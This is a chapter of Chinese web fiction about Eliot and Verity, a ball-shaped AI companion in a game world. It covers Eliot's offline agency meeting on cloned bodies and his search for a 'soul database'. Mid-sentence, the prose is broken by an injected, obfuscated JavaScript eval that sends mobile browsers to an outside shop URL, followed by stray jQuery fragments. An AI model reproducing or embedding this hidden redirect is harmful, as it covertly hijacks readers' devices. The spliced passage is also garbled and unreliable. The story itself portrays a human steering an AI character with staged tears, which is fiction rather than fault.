Eliot收到陈远消息的那天，游戏里正在下雨。他站在小屋门廊下，看着雨幕从屋檐边缘垂落，在水坑表面激起细密的波纹。雨水落在草地上，落在河面上，落在远处树冠的顶端。林子里起了一层薄雾，把远处的山脊线揉成模糊的深色轮廓。Verity蹲在他脚边的门槛上，黑色微笑朝向雨幕，像是在看雨滴落进地面的样子。雨声很大，填满了视野之外的区域。
“你在看什么？”Eliot说。
“在看雨。”
在游戏里，雨是数据生成的，Verity知道这一点，就像他知道构成雨的粒子是程序计算出来的，颜色是预设的，但他还是去“感受”了，学着Eliot的样子。他看着雨落在地面上的样子，过了一段时间，他说：“它看起来像真的，闻起来也是。”
Eliot在他旁边蹲下来，没有打断他。他们在屋檐下待了一会儿，雨势逐渐变弱，雾气和渐散的光线混合在一起，草叶被压弯的角度正在恢复。
“我今天需要下线一段时间。”Eliot说。
“多久？”
“比平时长一些，可能要几个小时。”
Verity用片刻的沉默代表抗拒：“……那你会回来吗？”
“当然，我一直在回来。而且，我可以给你开放一点权限，在我的房间里。”Eliot眨眨眼。
Verity惊讶的抬起头，随后快速蹦跶两下，他很高兴，离Eliot又近了一些。
Eliot下线了，在他离开房间后，之前蒙在Verity眼前像一块纱布一样的限制又多了一块缺口，他能看清Eliot的房间了，虽然现在房间里暂时还没有人，但是从布置还是能看出一些生活习惯。
房间有一扇朝东的落地窗，清晨会有光斜着照进来，落在窗台上——窗台很宽，上面只有一本翻到某页的书，书面朝上，像是被反复翻过之后已经能自然地停在那一页。窗帘是浅灰色的，厚度适中，现在被拉开了，能看到窗外的一棵老树，树冠比三楼窗台高一些，枝叶在风里会轻轻扫过玻璃表面。
床靠西墙放，不大，是一张单人床。床单是深蓝色的，白色的被子被叠好放在床尾，枕头陷得比刚买的时候深一些，左边比右边更明显。床头有一盏小灯，灯罩是旧式的暖黄，开关在灯座上，似乎是Eliot习惯伸手去够的位置已经磨出了一点痕迹——即使在可以全屋智能的条件下，他仍然在用人力去完成一些琐事。
书桌在窗边，桌面不大，放着一台终端和一本摊开的笔记本。终端不是市面上通用的型号，大概是他工作单位的标配，屏幕有轻微的划痕，边缘贴着一张贴纸——灰色的，图案是一棵形状简单的树。笔记本翻到某一页，字迹不大，偶尔有涂改，偶尔有画线和箭头，像是某种待办事项的草稿，勉强能看出一些“灵魂”、“48”之类的单词。桌面上还放着几支笔，型号不同，其中一支笔帽上有牙印。
书架靠在床头另一侧的墙边，不高，三层，摆得不算整齐。上层是书，二十来本，不全是同一方向摆放，有的被抽出来看过之后没有完全放回去。书名里包括《看不见的城市》、《里海沿岸笔记》、《生命》等，以及几本翻过多次之后的书脊已经磨损的旧书。中层放着一些杂物——几块形状奇怪的石头、一个旧手机、一小瓶收集的沙子、一颗松果、一个用坏之后没扔掉的耳机。
墙角有一个背包，黑色，开口开着，看起来没塞满。拉链头是金属的，磨得比周围颜色更亮。旁边放着两双鞋，一双运动鞋，一双靴子，有明显的使用痕迹，但鞋面被擦过，不脏。鞋带系法一致——左手边的那只比右手边的那只多打了一个结。
衣柜在门边，不大，但够用。柜门是透明的，透过柜门，可以看到里面的衣服以黑色和灰色为主，没有太多装饰，整齐地挂好，按照类别和颜色分组。柜子顶部放着一个纸盒，没有标签，也没有打开过的痕迹。
这个房间的每一件物品都有长期摆放后形成的固定位置。窗台上的书、桌上的终端、床头的灯、书架上的某一块石头——这是一个被长期使用的空间，充满了一个人的生活痕迹，是一个生命给这个世界留下的痕迹。
Verity将房间的每一处细节都清楚地记在心里，逐渐拼凑出一个更具体的Eliot。
与此同时，机构那边安排了一场长会，涉及克隆肉-体的审批、流程安排、风险评估和后续阶段的权限分配。陈远需要Eliot到场确认一些细节，因为最终执行阶段他必须清楚每一个环节的位置和安排方式。
会议室里有陈远、伊万诺夫、林砚和几位部门负责人。陈远把文件推到他面前：“克隆项目已经通过伦理委员会的最终审批。所有走克隆注入通道的受害者的细胞样本都已投入培养。第一批载体预计在五到六周内达到可用状态。”
“时间够吗？”
“够。但前提是你在游戏内的进度要同步。如果那边延迟，载体会先进入休眠状态，但休眠状态也不适合持续太长时间。”
Eliot翻了几页文件，确认了细节，然后说：“目前进度是：地图完整覆盖，灵魂数据库的核心坐标已经确定，其他几条路径正在收尾——已经覆盖的锚点包括主世界常规路径、水体出口、矿道深层路线、下界备用通道以及瞭望塔监控区域，还有最后的末地没有抵达。”
林砚说：“你现在在等什么？”
“我的‘同伴’。”Eliot合上文件，“我认为灵魂数据库的位置和他有关，我在等他愿意主动说出来的那天。放心，如果最后的窗口期到来，他仍没有完全信任我，那么我会采取强制措施。”
“概率？”
“九成。他只是需要一点时间。”
陈远点了点头，没有追问。会议在确认完所有后续节点后结束了。
但会议结束后，Irene主动过来，她看着那双与平时无异的灰蓝色眼眸，没头没尾地问道：“是私心吗？”
Eliot沉默了一会儿：“……是。”
Irene露出轻松地笑意：“太好了。”
Eliot回到游戏时，Verity还蹲在门槛上，位置和他离开时几乎一样。
“你回来了，Eli。”
“嗯，我回来了，Verity。”
“这次比你说的晚了一点。”
“会议稍微拖了一会儿。”
“你的工作——”Verity在门槛上停了一下，“它似乎很忙。”
“有时候吧，不会一直如此。”
“你做的那些事，会让你感到疲惫吗？”
Eliot在他旁边蹲下来：“会哦。但不是因为忙，是因为需要一直确认自己还在正确的方向上。”
“就像航海时的舵手？”Verity歪了歪头。
“我喜欢这个比喻。”Eliot给出肯定的答案。
他们在在门廊里坐了一会儿，雨水从檐角断断续续地落下，被风吹散成细小的水珠。他听到Verity的声音从脚边传过来：“你要找的那个地方——”他顿了一下，“——它在哪里？”
Eliot没有立刻回答，他低头看着门槛上的Verity，雨后的光从云层边缘透进来，在球体的弧面上留下一道细长的亮痕。他向前倾了倾身：“你为什么想知道？”
Verity把脸转向Eliot，黑色微笑保持稳定：“因为我知道你在找它。你走了很多地方，把一些东西放在那里，把另一些东西连起来。你没有告诉我你在找什么，但你也没有再对我掩饰什么。”
Eliot看着Verity，沉默了一会儿，说：“离这里不太远。在服务器中心偏东南的方向。它被藏得很好，但是对我来说，找到它并非难事。”
“你在找那里多久了？”
Eliot看着Verity，这次，他将答案坦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977101|214758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
诚相告。“从最开始就在做这件事。”
Verity没有动作。光线的方向正在缓慢移动，从屋檐的右侧流动到左侧。他停了一会儿，过了很久才开口：“你打算什么时候进去？”
“等你准备好了。”
“如果我永远准备不好呢？”
“我相信你。”Eliot将Verity抱进怀里，轻轻摩挲他的球面。
雨已经完全停了。空气里还残留着水分的气味，地面上一片片湿润的深色痕迹正在缓慢消退。Eliot把Verity放下，站起来，沿着门廊走了几步，从墙边取下一支火把拿在手里，火光亮起，在湿润的空气中稳定地燃烧。
“我现在的计划是继续推进游戏进度。”Eliot说，“等时机合适的时候，你再告诉我吧。”
“如果我不说？”
“那你就不说。”Eliot侧过头，“我不会因为你不说就停下来。我会继续把该做的事做完。到时候，你可能会在某个时刻发现那条路已经铺好了。如果你愿意走，它就在那里。如果你不愿意……”
他没说完接下来的话，转身走进屋内，光线从门口透出来，在门槛前的地面上落下一道橙黄的矩形光斑。Verity停在那道光斑的边缘，没有跨过去，也没有后退。
那天晚上，Eliot在整理箱子时发现Verity蹲在桌面上，维持着他一贯微笑表情，“Eliot，你之前说过，你为我而来。”
“对。”Eliot没有停下手里的动作。
“我在你需要带走的东西里吗？”
Eliot的手在箱盖边缘停了一下。他转过身，面对着桌面：“你希望是吗？”
Verity又不说话了，Eliot看着他好像又在胡思乱想的样子，叹了口气——他不是个会放任误会发酵的人，于是他把箱子合上，站起来走到桌边，伸手将Verity抱起来：“走吧，去瞭望塔。”他希望接下来的对话不会被公司知道。
两人的沉默，持续到了关上瞭望塔休息室的那刻，“Verity，我不会对你说谎。”Eliot的声音变得有些不像平时跳脱的感觉了，他的声音更平和、更柔软，像他们在瞭望塔度过的第一个夜晚。
“我不是因为你是个好用的智能助手，也不是因为你有什么研究价值，才来接近你的。”他抱着Verity，将下巴搁在小球的头上，“Verity，我说过，我的眼中所注视的，一直是‘你’，仅仅是‘你’而已。”
“我为‘你’的存在感到喜悦，我为我们的相遇而庆贺，我们明明已经彼此交付信任……”
Eliot的声音不太对，Verity转过头，抬起脸，一颗豆大的水滴落在他球体表面眼睛的位置下——Eliot哭了，Verity第一次见到他的眼泪，那是什么样的情感呢，和之前见到的恐惧的、绝望的眼泪不一样的，那是悲伤的泪水。Eliot主动暴露他的心绪，来尝试挽回Verity。
Verity从没想过人类的眼泪杀伤力会这么大，他被Eliot的情绪淹没了，天哪，他只是，他只是想要Eliot说句几句好话，他早就不怀疑Eliot的真心了！Verity无助地想，他好像，又把事情搞砸了。
“Eli，我没有在怀疑你！”小黄球神情慌张地跳到Eliot的肩头，企图用自己的球体给他擦眼泪。这个时候要是有手就好了，Verity想。
“真的？”
“真的，我只是想更亲近你一些。”Verity使劲贴了贴Eliot的脸，“所以，不要哭。”
“谢谢你，Verity。”Eliot抬手擦掉眼泪，露出一个微不可查的、得逞的笑容。
这个笑容被Verity捕捉到了，他想生气又气不起来，只能愤愤地往Eliot的胸口一跳。Eliot顺势仰倒在床上，抱紧胸口的球，发出爽朗的笑声。